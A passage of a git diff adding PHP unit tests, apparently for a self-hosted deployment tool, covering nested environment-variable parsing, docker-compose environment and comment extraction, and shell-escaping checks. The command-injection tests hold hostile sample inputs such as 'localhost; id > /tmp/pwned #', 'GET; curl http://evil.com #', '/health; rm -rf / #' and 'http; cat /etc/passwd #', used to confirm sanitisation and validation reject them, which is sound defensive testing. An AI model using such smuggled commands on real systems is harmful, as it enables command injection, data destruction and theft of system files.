+ $longName = str_repeat('A', 200);
+ $result = extractBalancedBraceContent('${'.$longName.'}', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe($longName);
+});
+
+test('splitOnOperatorOutsideNested returns null for empty string', function () {
+ $split = splitOnOperatorOutsideNested('');
+
+ assertNull($split);
+});
+
+test('splitOnOperatorOutsideNested handles variable name with underscores', function () {
+ $split = splitOnOperatorOutsideNested('_MY_VAR_:-default');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('_MY_VAR_')
+ ->and($split['default'])->toBe('default');
+});
+
+test('extractBalancedBraceContent with startPos beyond string length', function () {
+ $result = extractBalancedBraceContent('${VAR}', 100);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent handles brace in middle of text', function () {
+ $result = extractBalancedBraceContent('prefix ${VAR} suffix', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('VAR');
+});
+
+// ─── Deeply Nested Defaults ────────────────────────────────────────────────────
+
+test('extractBalancedBraceContent handles four levels of nesting', function () {
+ $input = '${A:-${B:-${C:-${D}}}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('A:-${B:-${C:-${D}}}');
+});
+
+test('splitOnOperatorOutsideNested handles four levels of nesting', function () {
+ $content = 'A:-${B:-${C:-${D}}}';
+ $split = splitOnOperatorOutsideNested($content);
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('A')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${B:-${C:-${D}}}');
+
+ // Verify second level
+ $nested = extractBalancedBraceContent($split['default'], 0);
+ assertNotNull($nested);
+ $split2 = splitOnOperatorOutsideNested($nested['content']);
+ assertNotNull($split2);
+ expect($split2['variable'])->toBe('B')
+ ->and($split2['default'])->toBe('${C:-${D}}');
+});
+
+test('multiple variables at same depth in default', function () {
+ $input = '${A:-${B}/${C}/${D}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ assertNotNull($result);
+
+ $split = splitOnOperatorOutsideNested($result['content']);
+ assertNotNull($split);
+ expect($split['default'])->toBe('${B}/${C}/${D}');
+
+ // Verify all three nested variables can be found
+ $default = $split['default'];
+ $vars = [];
+ $pos = 0;
+ while (($nested = extractBalancedBraceContent($default, $pos)) !== null) {
+ $vars[] = $nested['content'];
+ $pos = $nested['end'] + 1;
+ }
+
+ expect($vars)->toBe(['B', 'C', 'D']);
+});
+
+test('nested with mixed operators', function () {
+ $input = '${A:-${B:?required}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['variable'])->toBe('A')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${B:?required}');
+
+ // Inner variable uses :? operator
+ $nested = extractBalancedBraceContent($split['default'], 0);
+ $innerSplit = splitOnOperatorOutsideNested($nested['content']);
+
+ expect($innerSplit['variable'])->toBe('B')
+ ->and($innerSplit['operator'])->toBe(':?')
+ ->and($innerSplit['default'])->toBe('required');
+});
+
+test('nested variable without default as default', function () {
+ $input = '${A:-${B}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['default'])->toBe('${B}');
+
+ $nested = extractBalancedBraceContent($split['default'], 0);
+ $innerSplit = splitOnOperatorOutsideNested($nested['content']);
+
+ assertNull($innerSplit);
+ expect($nested['content'])->toBe('B');
+});
+
+// ─── Backwards Compatibility ───────────────────────────────────────────────────
+
+test('replaceVariables with brace format without dollar sign', function () {
+ $result = replaceVariables('{MY_VAR}');
+
+ expect($result->value())->toBe('MY_VAR');
+});
+
+test('replaceVariables with truncated brace format', function () {
+ $result = replaceVariables('{MY_VAR');
+
+ expect($result->value())->toBe('MY_VAR');
+});
+
+test('replaceVariables with plain string returns unchanged', function () {
+ $result = replaceVariables('plain_value');
+
+ expect($result->value())->toBe('plain_value');
+});
+
+test('replaceVariables preserves full content for variable with default', function () {
+ $result = replaceVariables('${DB_HOST:-localhost}');
+
+ expect($result->value())->toBe('DB_HOST:-localhost');
+});
+
+test('replaceVariables preserves nested content for variable with nested default', function () {
+ $result = replaceVariables('${DB_URL:-${SERVICE_URL_PG}/db}');
+
+ expect($result->value())->toBe('DB_URL:-${SERVICE_URL_PG}/db');
+});
+
+test('replaceVariables with brace format containing default falls back gracefully', function () {
+ $result = replaceVariables('{VAR:-default}');
+
+ expect($result->value())->toBe('VAR:-default');
+});
+
+test('splitOnOperatorOutsideNested colon-dash takes precedence over bare dash', function () {
+ $split = splitOnOperatorOutsideNested('VAR:-val-ue');
+
+ assertNotNull($split);
+ expect($split['operator'])->toBe(':-')
+ ->and($split['variable'])->toBe('VAR')
+ ->and($split['default'])->toBe('val-ue');
+});
+
+test('splitOnOperatorOutsideNested colon-question takes precedence over bare question', function () {
+ $split = splitOnOperatorOutsideNested('VAR:?error?');
+
+ assertNotNull($split);
+ expect($split['operator'])->toBe(':?')
+ ->and($split['variable'])->toBe('VAR')
+ ->and($split['default'])->toBe('error?');
+});
+
+test('full round trip: extract, split, and resolve nested variables', function () {
+ $input = '${APP_URL:-${SERVICE_URL_APP}/v${API_VERSION:-2}/health}';
+
+ // Step 1: Extract outer content
+ $result = extractBalancedBraceContent($input, 0);
+ assertNotNull($result);
+ expect($result['content'])->toBe('APP_URL:-${SERVICE_URL_APP}/v${API_VERSION:-2}/health');
+
+ // Step 2: Split on outer operator
+ $split = splitOnOperatorOutsideNested($result['content']);
+ assertNotNull($split);
+ expect($split['variable'])->toBe('APP_URL')
+ ->and($split['default'])->toBe('${SERVICE_URL_APP}/v${API_VERSION:-2}/health');
+
+ // Step 3: Find all nested variables in default
+ $default = $split['default'];
+ $nestedVars = [];
+ $pos = 0;
+ while (($nested = extractBalancedBraceContent($default, $pos)) !== null) {
+ $innerSplit = splitOnOperatorOutsideNested($nested['content']);
+ $nestedVars[] = [
+ 'name' => $innerSplit !== null ? $innerSplit['variable'] : $nested['content'],
+ 'default' => $innerSplit !== null ? $innerSplit['default'] : null,
+ ];
+ $pos = $nested['end'] + 1;
+ }
+
+ expect($nestedVars)->toHaveCount(2)
+ ->and($nestedVars[0]['name'])->toBe('SERVICE_URL_APP')
+ ->and($nestedVars[0]['default'])->toBeNull()
+ ->and($nestedVars[1]['name'])->toBe('API_VERSION')
+ ->and($nestedVars[1]['default'])->toBe('2');
+});
diff --git a/tests/Unit/ExecuteInDockerEscapingTest.php b/tests/Unit/ExecuteInDockerEscapingTest.php
new file mode 100644
index 000000000..14777ca1c
--- /dev/null
+++ b/tests/Unit/ExecuteInDockerEscapingTest.php
@@ -0,0 +1,35 @@
+toBe("docker exec test-container bash -c 'ls -la /app'");
+});
+
+it('escapes single quotes in command', function () {
+ $result = executeInDocker('test-container', "echo 'hello world'");
+
+ expect($result)->toBe("docker exec test-container bash -c 'echo '\\''hello world'\\'''");
+});
+
+it('prevents command injection via single quote breakout', function () {
+ $malicious = "cd /dir && docker compose build'; id; #";
+ $result = executeInDocker('test-container', $malicious);
+
+ // The single quote in the malicious command should be escaped so it cannot break out of bash -c
+ // The raw unescaped pattern "build'; id;" must not appear — the quote must be escaped
+ expect($result)->not->toContain("build'; id;");
+ expect($result)->toBe("docker exec test-container bash -c 'cd /dir && docker compose build'\\''; id; #'");
+});
+
+it('handles empty command', function () {
+ $result = executeInDocker('test-container', '');
+
+ expect($result)->toBe("docker exec test-container bash -c ''");
+});
+
+it('handles command with multiple single quotes', function () {
+ $result = executeInDocker('test-container', "echo 'a' && echo 'b'");
+
+ expect($result)->toBe("docker exec test-container bash -c 'echo '\\''a'\\'' && echo '\\''b'\\'''");
+});
diff --git a/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php b/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php
new file mode 100644
index 000000000..8d8caacaf
--- /dev/null
+++ b/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php
@@ -0,0 +1,147 @@
+toHaveCount(2)
+ ->and($result[0]['key'])->toBe('NODE_ENV')
+ ->and($result[0]['value'])->toBe('production')
+ ->and($result[0]['service_name'])->toBe('app')
+ ->and($result[1]['key'])->toBe('PORT')
+ ->and($result[1]['value'])->toBe('3000')
+ ->and($result[1]['service_name'])->toBe('app');
+});
+
+test('extracts environment variables with inline comments', function () {
+ $yaml = <<<'YAML'
+services:
+ app:
+ environment:
+ - NODE_ENV=production # Production environment
+ - DEBUG=false # Disable debug mode
+YAML;
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ expect($result)->toHaveCount(2)
+ ->and($result[0]['comment'])->toBe('Production environment')
+ ->and($result[1]['comment'])->toBe('Disable debug mode');
+});
+
+test('handles multiple services', function () {
+ $yaml = <<<'YAML'
+services:
+ app:
+ environment:
+ - APP_ENV=prod
+ db:
+ environment:
+ - POSTGRES_DB=mydb
+YAML;
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ expect($result)->toHaveCount(2)
+ ->and($result[0]['key'])->toBe('APP_ENV')
+ ->and($result[0]['service_name'])->toBe('app')
+ ->and($result[1]['key'])->toBe('POSTGRES_DB')
+ ->and($result[1]['service_name'])->toBe('db');
+});
+
+test('handles associative array format', function () {
+ $yaml = <<<'YAML'
+services:
+ app:
+ environment:
+ NODE_ENV: production
+ PORT: 3000
+YAML;
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ expect($result)->toHaveCount(2)
+ ->and($result[0]['key'])->toBe('NODE_ENV')
+ ->and($result[0]['value'])->toBe('production')
+ ->and($result[1]['key'])->toBe('PORT')
+ ->and($result[1]['value'])->toBe(3000); // Integer values stay as integers from YAML
+});
+
+test('handles environment variables without values', function () {
+ $yaml = <<<'YAML'
+services:
+ app:
+ environment:
+ - API_KEY
+ - DEBUG=false
+YAML;
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ expect($result)->toHaveCount(2)
+ ->and($result[0]['key'])->toBe('API_KEY')
+ ->and($result[0]['value'])->toBe('') // Variables without values get empty string, not null
+ ->and($result[1]['key'])->toBe('DEBUG')
+ ->and($result[1]['value'])->toBe('false');
+});
+
+test('returns empty collection for malformed YAML', function () {
+ $yaml = 'invalid: yaml: content::: [[[';
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ expect($result)->toBeEmpty();
+});
+
+test('returns empty collection for empty compose file', function () {
+ $result = extractHardcodedEnvironmentVariables('');
+
+ expect($result)->toBeEmpty();
+});
+
+test('returns empty collection when no services defined', function () {
+ $yaml = <<<'YAML'
+version: '3.8'
+networks:
+ default:
+YAML;
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ expect($result)->toBeEmpty();
+});
+
+test('returns empty collection when service has no environment section', function () {
+ $yaml = <<<'YAML'
+services:
+ app:
+ image: nginx
+YAML;
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ expect($result)->toBeEmpty();
+});
+
+test('handles mixed associative and array format', function () {
+ $yaml = <<<'YAML'
+services:
+ app:
+ environment:
+ - NODE_ENV=production
+ PORT: 3000
+YAML;
+
+ $result = extractHardcodedEnvironmentVariables($yaml);
+
+ // Mixed format is invalid YAML and returns empty collection
+ expect($result)->toBeEmpty();
+});
diff --git a/tests/Unit/ExtractYamlEnvironmentCommentsTest.php b/tests/Unit/ExtractYamlEnvironmentCommentsTest.php
new file mode 100644
index 000000000..4300b3abf
--- /dev/null
+++ b/tests/Unit/ExtractYamlEnvironmentCommentsTest.php
@@ -0,0 +1,334 @@
+toBe([]);
+});
+
+test('extractYamlEnvironmentComments extracts inline comments from map format', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ FOO: bar # This is a comment
+ BAZ: qux
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'FOO' => 'This is a comment',
+ ]);
+});
+
+test('extractYamlEnvironmentComments extracts inline comments from array format', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ - FOO=bar # This is a comment
+ - BAZ=qux
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'FOO' => 'This is a comment',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles quoted values containing hash symbols', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ COLOR: "#FF0000" # hex color code
+ DB_URL: "postgres://user:pass#123@localhost" # database URL
+ PLAIN: value # no quotes
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'COLOR' => 'hex color code',
+ 'DB_URL' => 'database URL',
+ 'PLAIN' => 'no quotes',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles single quoted values containing hash symbols', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ PASSWORD: 'secret#123' # my password
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'PASSWORD' => 'my password',
+ ]);
+});
+
+test('extractYamlEnvironmentComments skips full-line comments', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ # This is a full line comment
+ FOO: bar # This is an inline comment
+ # Another full line comment
+ BAZ: qux
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'FOO' => 'This is an inline comment',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles multiple services', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ WEB_PORT: 8080 # web server port
+ db:
+ image: postgres:15
+ environment:
+ POSTGRES_USER: admin # database admin user
+ POSTGRES_PASSWORD: secret
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'WEB_PORT' => 'web server port',
+ 'POSTGRES_USER' => 'database admin user',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles variables without values', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ - DEBUG # enable debug mode
+ - VERBOSE
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'DEBUG' => 'enable debug mode',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles array format with colons', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ - DATABASE_URL: postgres://localhost # connection string
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'DATABASE_URL' => 'connection string',
+ ]);
+});
+
+test('extractYamlEnvironmentComments does not treat hash inside unquoted values as comment start', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ API_KEY: abc#def
+ OTHER: xyz # this is a comment
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ // abc#def has no space before #, so it's not treated as a comment
+ expect($result)->toBe([
+ 'OTHER' => 'this is a comment',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles empty environment section', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ ports:
+ - "80:80"
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([]);
+});
+
+test('extractYamlEnvironmentComments handles environment inline format (not supported)', function () {
+ // Inline format like environment: { FOO: bar } is not supported for comment extraction
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment: { FOO: bar }
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ // No comments extracted from inline format
+ expect($result)->toBe([]);
+});
+
+test('extractYamlEnvironmentComments handles complex real-world docker-compose', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+
+services:
+ app:
+ image: myapp:latest
+ environment:
+ NODE_ENV: production # Set to development for local
+ DATABASE_URL: "postgres://user:pass@db:5432/mydb" # Main database
+ REDIS_URL: "redis://cache:6379"
+ API_SECRET: "${API_SECRET}" # From .env file
+ LOG_LEVEL: debug # Options: debug, info, warn, error
+ ports:
+ - "3000:3000"
+
+ db:
+ image: postgres:15
+ environment:
+ POSTGRES_USER: user # Database admin username
+ POSTGRES_PASSWORD: "${DB_PASSWORD}"
+ POSTGRES_DB: mydb
+
+ cache:
+ image: redis:7
+ environment:
+ - REDIS_MAXMEMORY=256mb # Memory limit for cache
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'NODE_ENV' => 'Set to development for local',
+ 'DATABASE_URL' => 'Main database',
+ 'API_SECRET' => 'From .env file',
+ 'LOG_LEVEL' => 'Options: debug, info, warn, error',
+ 'POSTGRES_USER' => 'Database admin username',
+ 'REDIS_MAXMEMORY' => 'Memory limit for cache',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles comment with multiple hash symbols', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ environment:
+ FOO: bar # comment # with # hashes
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'FOO' => 'comment # with # hashes',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles variables with empty comments', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ environment:
+ FOO: bar #
+ BAZ: qux #
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ // Empty comments should not be included
+ expect($result)->toBe([]);
+});
+
+test('extractYamlEnvironmentComments properly exits environment block on new section', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ image: nginx:latest
+ environment:
+ FOO: bar # env comment
+ ports:
+ - "80:80" # port comment should not be captured
+ volumes:
+ - ./data:/data # volume comment should not be captured
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ // Only environment variables should have comments extracted
+ expect($result)->toBe([
+ 'FOO' => 'env comment',
+ ]);
+});
+
+test('extractYamlEnvironmentComments handles SERVICE_ variables', function () {
+ $yaml = <<<'YAML'
+version: "3.8"
+services:
+ web:
+ environment:
+ SERVICE_FQDN_WEB: /api # Path for the web service
+ SERVICE_URL_WEB: # URL will be generated
+ NORMAL_VAR: value # Regular variable
+YAML;
+
+ $result = extractYamlEnvironmentComments($yaml);
+
+ expect($result)->toBe([
+ 'SERVICE_FQDN_WEB' => 'Path for the web service',
+ 'SERVICE_URL_WEB' => 'URL will be generated',
+ 'NORMAL_VAR' => 'Regular variable',
+ ]);
+});
diff --git a/tests/Unit/HealthCheckCommandInjectionTest.php b/tests/Unit/HealthCheckCommandInjectionTest.php
new file mode 100644
index 000000000..534be700a
--- /dev/null
+++ b/tests/Unit/HealthCheckCommandInjectionTest.php
@@ -0,0 +1,269 @@
+ 'localhost; id > /tmp/pwned #',
+ ]);
+
+ // Should fall back to 'localhost' because input contains shell metacharacters
+ expect($result)->not->toContain('; id')
+ ->and($result)->not->toContain('/tmp/pwned')
+ ->and($result)->toContain('localhost');
+});
+
+it('sanitizes health_check_method to prevent command injection', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_method' => 'GET; curl http://evil.com #',
+ ]);
+
+ expect($result)->not->toContain('evil.com')
+ ->and($result)->not->toContain('; curl');
+});
+
+it('sanitizes health_check_path to prevent command injection', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_path' => '/health; rm -rf / #',
+ ]);
+
+ expect($result)->not->toContain('rm -rf')
+ ->and($result)->not->toContain('; rm');
+});
+
+it('sanitizes health_check_scheme to prevent command injection', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_scheme' => 'http; cat /etc/passwd #',
+ ]);
+
+ expect($result)->not->toContain('/etc/passwd')
+ ->and($result)->not->toContain('; cat');
+});
+
+it('casts health_check_port to integer to prevent injection', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_port' => '8080; whoami',
+ ]);
+
+ // (int) cast on non-numeric after digits yields 8080
+ expect($result)->not->toContain('whoami')
+ ->and($result)->toContain('8080');
+});
+
+it('generates valid healthcheck command with safe inputs', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_method' => 'GET',
+ 'health_check_scheme' => 'http',
+ 'health_check_host' => 'localhost',
+ 'health_check_port' => '8080',
+ 'health_check_path' => '/health',
+ ]);
+
+ expect($result)->toContain('curl -s -X')
+ ->and($result)->toContain('http://localhost:8080/health')
+ ->and($result)->toContain('wget -q -O-');
+});
+
+it('uses escapeshellarg on the constructed URL', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_host' => 'my-app.local',
+ 'health_check_path' => '/api/health',
+ ]);
+
+ // escapeshellarg wraps in single quotes
+ expect($result)->toContain("'http://my-app.local:80/api/health'");
+});
+
+it('validates health_check_host rejects shell metacharacters via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ ['health_check_host' => 'localhost; id #'],
+ ['health_check_host' => $rules['health_check_host']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_method rejects invalid methods via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ ['health_check_method' => 'GET; curl evil.com'],
+ ['health_check_method' => $rules['health_check_method']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_scheme rejects invalid schemes via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ ['health_check_scheme' => 'http; whoami'],
+ ['health_check_scheme' => $rules['health_check_scheme']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_path rejects shell metacharacters via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ ['health_check_path' => '/health; rm -rf /'],
+ ['health_check_path' => $rules['health_check_path']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_port rejects non-numeric values via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ ['health_check_port' => '8080; whoami'],
+ ['health_check_port' => $rules['health_check_port']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('allows valid health check values via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ [
+ 'health_check_host' => 'my-app.localhost',
+ 'health_check_method' => 'GET',
+ 'health_check_scheme' => 'https',
+ 'health_check_path' => '/api/v1/health',
+ 'health_check_port' => 8080,
+ ],
+ [
+ 'health_check_host' => $rules['health_check_host'],
+ 'health_check_method' => $rules['health_check_method'],
+ 'health_check_scheme' => $rules['health_check_scheme'],
+ 'health_check_path' => $rules['health_check_path'],
+ 'health_check_port' => $rules['health_check_port'],
+ ]
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
+it('generates CMD healthcheck command directly', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'pg_isready -U postgres',
+ ]);
+
+ expect($result)->toBe('pg_isready -U postgres');
+});
+
+it('strips newlines from CMD healthcheck command', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => "redis-cli ping\n&& echo pwned",
+ ]);
+
+ expect($result)->not->toContain("\n")
+ ->and($result)->toBe('redis-cli ping && echo pwned');
+});
+
+it('falls back to HTTP healthcheck when CMD type has empty command', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => '',
+ ]);
+
+ // Should fall through to HTTP path
+ expect($result)->toContain('curl -s -X');
+});
+
+it('validates healthCheckCommand rejects strings over 1000 characters', function () {
+ $rules = [
+ 'healthCheckCommand' => 'nullable|string|max:1000',
+ ];
+
+ $validator = Validator::make(
+ ['healthCheckCommand' => str_repeat('a', 1001)],
+ $rules
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates healthCheckCommand accepts strings under 1000 characters', function () {
+ $rules = [
+ 'healthCheckCommand' => 'nullable|string|max:1000',
+ ];
+
+ $validator = Validator::make(
+ ['healthCheckCommand' => 'pg_isready -U postgres'],
+ $rules
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
+/**
+ * Helper: Invokes the private generate_healthcheck_commands() method via reflection.
+ */
+function callGenerateHealthcheckCommands(array $overrides = []): string
+{
+ $defaults = [
+ 'health_check_type' => 'http',
+ 'health_check_command' => null,
+ 'health_check_method' => 'GET',
+ 'health_check_scheme' => 'http',
+ 'health_check_host' => 'localhost',
+ 'health_check_port' => null,
+ 'health_check_path' => '/',
+ 'ports_exposes' => '80',
+ ];
+
+ $values = array_merge($defaults, $overrides);
+
+ $application = Mockery::mock(Application::class)->makePartial();
+ $application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
+ $application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
+ $application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
+ $application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
+ $application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
+ $application->shouldReceive('getAttribute')->with('health_check_port')->andReturn($values['health_check_port']);
+ $application->shouldReceive('getAttribute')->with('health_check_path')->andReturn($values['health_check_path']);
+ $application->shouldReceive('getAttribute')->with('ports_exposes_array')->andReturn(explode(',', $values['ports_exposes']));
+ $application->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks');
+
+ $settings = Mockery::mock(ApplicationSetting::class)->makePartial();
+ $settings->shouldReceive('getAttribute')->with('is_static')->andReturn(false);
+ $application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
+
+ $deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
+
+ $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
+
+ $reflection = new ReflectionClass($job);
+
+ $appProp = $reflection->getProperty('application');
+ $appProp->setAccessible(true);
+ $appProp->setValue($job, $application);
+
+ $method = $reflection->getMethod('generate_healthcheck_commands');
+ $method->setAccessible(true);
+
+ return $method->invoke($job);
+}
diff --git a/tests/Unit/HetznerDeletionFailedNotificationTest.php b/tests/Unit/HetznerDeletionFailedNotificationTest.php
index 6cb9f0bb3..22d5e80db 100644
--- a/tests/Unit/HetznerDeletionFailedNotificationTest.php
+++ b/tests/Unit/HetznerDeletionFailedNotificationTest.php
@@ -1,7 +1,6 @@
['value' => 'value1', 'comment' => null],
+ 'KEY2' => ['value' => 'value2', 'comment' => 'This is a comment'],
+ 'KEY3' => ['value' => 'value3', 'comment' => null],
+ ];
+
+ // Test the extraction logic
+ foreach ($variables as $key => $data) {
+ // Handle both array format ['value' => ..., 'comment' => ...] and plain string values
+ $value = is_array($data) ? ($data['value'] ?? '') : $data;
+ $comment = is_array($data) ? ($data['comment'] ?? null) : null;
+
+ // Verify the extraction
+ expect($value)->toBeString();
+ expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']);
+
+ if ($key === 'KEY1') {
+ expect($value)->toBe('value1');
+ expect($comment)->toBeNull();
+ } elseif ($key === 'KEY2') {
+ expect($value)->toBe('value2');
+ expect($comment)->toBe('This is a comment');
+ } elseif ($key === 'KEY3') {
+ expect($value)->toBe('value3');
+ expect($comment)->toBeNull();
+ }
+ }
+});
+
+test('DockerCompose handles plain string format gracefully', function () {
+ // Simulate a scenario where parseEnvFormatToArray might return plain strings
+ // (for backward compatibility or edge cases)
+ $variables = [
+ 'KEY1' => 'value1',
+ 'KEY2' => 'value2',
+ 'KEY3' => 'value3',
+ ];
+
+ // Test the extraction logic
+ foreach ($variables as $key => $data) {
+ // Handle both array format ['value' => ..., 'comment' => ...] and plain string values
+ $value = is_array($data) ? ($data['value'] ?? '') : $data;
+ $comment = is_array($data) ? ($data['comment'] ?? null) : null;
+
+ // Verify the extraction
+ expect($value)->toBeString();
+ expect($comment)->toBeNull();
+ expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']);
+ }
+});
+
+test('DockerCompose handles mixed array and string formats', function () {
+ // Simulate a mixed scenario (unlikely but possible)
+ $variables = [
+ 'KEY1' => ['value' => 'value1', 'comment' => 'comment1'],
+ 'KEY2' => 'value2', // Plain string
+ 'KEY3' => ['value' => 'value3', 'comment' => null],
+ 'KEY4' => 'value4', // Plain string
+ ];
+
+ // Test the extraction logic
+ foreach ($variables as $key => $data) {
+ // Handle both array format ['value' => ..., 'comment' => ...] and plain string values
+ $value = is_array($data) ? ($data['value'] ?? '') : $data;
+ $comment = is_array($data) ? ($data['comment'] ?? null) : null;
+
+ // Verify the extraction
+ expect($value)->toBeString();
+ expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3', 'KEY4']);
+
+ if ($key === 'KEY1') {
+ expect($value)->toBe('value1');
+ expect($comment)->toBe('comment1');
+ } elseif ($key === 'KEY2') {
+ expect($value)->toBe('value2');
+ expect($comment)->toBeNull();
+ } elseif ($key === 'KEY3') {
+ expect($value)->toBe('value3');
+ expect($comment)->toBeNull();
+ } elseif ($key === 'KEY4') {
+ expect($value)->toBe('value4');
+ expect($comment)->toBeNull();
+ }
+ }
+});
+
+test('DockerCompose handles empty array values gracefully', function () {
+ // Simulate edge case with incomplete array structure
+ $variables = [
+ 'KEY1' => ['value' => 'value1'], // Missing 'comment' key
+ 'KEY2' => ['comment' => 'comment2'], // Missing 'value' key (edge case)
+ 'KEY3' => [], // Empty array (edge case)
+ ];
+
+ // Test the extraction logic with improved fallback
+ foreach ($variables as $key => $data) {
+ // Handle both array format ['value' => ..., 'comment' => ...] and plain string values
